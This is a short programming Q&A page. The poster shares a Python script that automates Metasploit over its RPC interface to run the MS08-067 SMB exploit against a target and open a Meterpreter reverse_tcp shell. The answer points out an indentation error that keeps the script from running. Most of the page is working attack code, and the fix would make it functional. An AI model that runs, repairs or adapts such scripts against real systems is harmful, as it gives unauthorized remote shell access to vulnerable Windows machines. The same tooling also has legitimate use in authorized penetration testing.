Search code examples
metasploitpython

How to automate Metasploit?


I'm using the following code to automate Metasploit:

import os, msfrpc, optparse, sys, subprocess
from time import sleep

def sploiter(RHOST, LHOST, LPORT, session):
 client = msfrpc.Msfrpc({})
 client.login('msf', '123')
 ress = client.call('console.create')
 console_id = ress['id']

 RHOST="192.168.1.102"
 LPORT="444"
 LHOST="127.0.0.1"

commands = """use exploit/windows/smb/ms08_067_netapi
set PAYLOAD windows/meterpreter/reverse_tcp
set RHOST """+RHOST+"""
set LHOST """+LHOST+"""
set LPORT """+LPORT+"""
set ExitOnSession false
exploit -z
"""
print "[+] Exploiting MS08-067 on: "+RHOST
client.call('console.write',[console_id,commands])
res = client.call('console.read',[console_id])
result = res['data'].split('\n')

But it's not working and I'm getting the error:

client.call('console.write',[console_id,commands]) NameError: name 'client' is not defined

What is the problem? Is there any other script that could work in a similar way?


Solution

  • Your indentation is off. So clients.call() is performed outside the context where you create it inside the sploiter function.